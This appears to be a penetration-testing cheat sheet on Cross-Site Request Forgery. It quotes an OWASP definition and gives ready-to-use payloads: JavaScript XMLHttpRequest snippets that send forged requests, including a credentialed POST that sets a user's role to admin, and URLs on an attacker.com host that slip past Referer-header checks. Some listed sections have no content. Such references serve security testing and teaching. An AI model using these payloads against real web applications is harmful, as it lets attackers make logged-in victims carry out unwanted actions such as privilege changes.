Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
Summary
Methodology
Payloads
HTML GET - Requiring User Interaction
HTML GET - No User Interaction)
HTML POST - Requiring User Interaction
HTML POST - AutoSubmit - No User Interaction
JSON GET - Simple Request
JSON POST - Simple Request
JSON POST - Complex Request
Bypass referer header validation check
Basic payload
With question mark payload
With semicolon payload
With subdomain payload
References
Tools
Methodology
Payloads
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
JSON POST - Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
JSON POST - Complex Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
Bypass referer header validation
Basic payload
1) Open https://attacker.com/csrf.html
2) Referer header is ..
Referer: https://attacker.com/csrf.html
With question mark(?) payload
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html?trusted.domain.com
With semicolon(;) payload
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html;trusted.domain.com
With subdomain payload
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..
Referer: https://trusted.domain.com.attacker.com/csrf.html
